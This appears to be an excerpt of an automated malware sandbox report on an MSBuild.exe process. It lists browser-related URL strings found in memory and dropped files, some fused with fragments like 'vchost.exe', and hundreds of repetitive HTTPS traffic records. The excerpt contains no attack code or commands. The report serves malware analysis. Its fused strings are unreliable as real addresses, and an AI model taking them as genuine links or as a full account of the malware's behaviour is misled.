Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, JKECFC.3.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: ECGIII.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: HJEHIJ.3.dr	String found in binary or memory: https://www.mozilla.org
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2181758591.00000000173BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HJEHIJ.3.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/ost.exe
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2181758591.00000000173BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HJEHIJ.3.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/xe
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2181758591.00000000173BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: HJEHIJ.3.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: HJEHIJ.3.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2181758591.00000000173BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: HJEHIJ.3.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 53684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53901
Source: unknown	Network traffic detected: HTTP traffic on port 53650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53906
Source: unknown	Network traffic detected: HTTP traffic on port 53730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53904
Source: unknown	Network traffic detected: HTTP traffic on port 53683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53909
Source: unknown	Network traffic detected: HTTP traffic on port 53808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53908
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53661 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53659 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53727
Source: unknown	Network traffic detected: HTTP traffic on port 53755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53846
Source: unknown	Network traffic detected: HTTP traffic on port 53698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53724
Source: unknown	Network traffic detected: HTTP traffic on port 53841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53729
Source: unknown	Network traffic detected: HTTP traffic on port 53858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53728
Source: unknown	Network traffic detected: HTTP traffic on port 53732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53840
Source: unknown	Network traffic detected: HTTP traffic on port 53870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53721
Source: unknown	Network traffic detected: HTTP traffic on port 53778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53841
Source: unknown	Network traffic detected: HTTP traffic on port 53790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53850
Source: unknown	Network traffic detected: HTTP traffic on port 53641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53852
Source: unknown	Network traffic detected: HTTP traffic on port 53744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53867
Source: unknown	Network traffic detected: HTTP traffic on port 53709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53866
Source: unknown	Network traffic detected: HTTP traffic on port 53686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53864
Source: unknown	Network traffic detected: HTTP traffic on port 53908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53863
Source: unknown	Network traffic detected: HTTP traffic on port 53743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53757
Source: unknown	Network traffic detected: HTTP traffic on port 53840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53878
Source: unknown	Network traffic detected: HTTP traffic on port 53710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53755
Source: unknown	Network traffic detected: HTTP traffic on port 53777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53876
Source: unknown	Network traffic detected: HTTP traffic on port 53664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53874
Source: unknown	Network traffic detected: HTTP traffic on port 53791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53880
Source: unknown	Network traffic detected: HTTP traffic on port 53721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53801
Source: unknown	Network traffic detected: HTTP traffic on port 53816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53808
Source: unknown	Network traffic detected: HTTP traffic on port 53860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53806
Source: unknown	Network traffic detected: HTTP traffic on port 53883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53805
Source: unknown	Network traffic detected: HTTP traffic on port 53839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53800
Source: unknown	Network traffic detected: HTTP traffic on port 53768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53809
Source: unknown	Network traffic detected: HTTP traffic on port 53651 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53813
Source: unknown	Network traffic detected: HTTP traffic on port 53697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53817
Source: unknown	Network traffic detected: HTTP traffic on port 53733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53811
Source: unknown	Network traffic detected: HTTP traffic on port 53662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53810
Source: unknown	Network traffic detected: HTTP traffic on port 53895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53709
Source: unknown	Network traffic detected: HTTP traffic on port 53734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53827
Source: unknown	Network traffic detected: HTTP traffic on port 53640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53701
Source: unknown	Network traffic detected: HTTP traffic on port 53663 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53820
Source: unknown	Network traffic detected: HTTP traffic on port 53827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53837
Source: unknown	Network traffic detected: HTTP traffic on port 53838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53713
Source: unknown	Network traffic detected: HTTP traffic on port 53756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53719
Source: unknown	Network traffic detected: HTTP traffic on port 53861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53838
Source: unknown	Network traffic detected: HTTP traffic on port 53700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53830
Source: unknown	Network traffic detected: HTTP traffic on port 53767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53683
Source: unknown	Network traffic detected: HTTP traffic on port 53906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53689
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53687
Source: unknown	Network traffic detected: HTTP traffic on port 53850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53693
Source: unknown	Network traffic detected: HTTP traffic on port 53896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53692
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53691
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53690
Source: unknown	Network traffic detected: HTTP traffic on port 53873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53655 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53694
Source: unknown	Network traffic detected: HTTP traffic on port 53758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53699
Source: unknown	Network traffic detected: HTTP traffic on port 53666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53698
Source: unknown	Network traffic detected: HTTP traffic on port 53826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53667 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53649
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53648
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53647
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53641
Source: unknown	Network traffic detected: HTTP traffic on port 53736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53761
Source: unknown	Network traffic detected: HTTP traffic on port 53759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53640
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53646
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53645
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53764
Source: unknown	Network traffic detected: HTTP traffic on port 53665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53885
Source: unknown	Network traffic detected: HTTP traffic on port 53802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53770
Source: unknown	Network traffic detected: HTTP traffic on port 53771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53890
Source: unknown	Network traffic detected: HTTP traffic on port 53863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53659
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53658
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53779
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53653
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53651
Source: unknown	Network traffic detected: HTTP traffic on port 53702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53650
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53657
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53656
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53655
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53654
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53896
Source: unknown	Network traffic detected: HTTP traffic on port 53907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53660
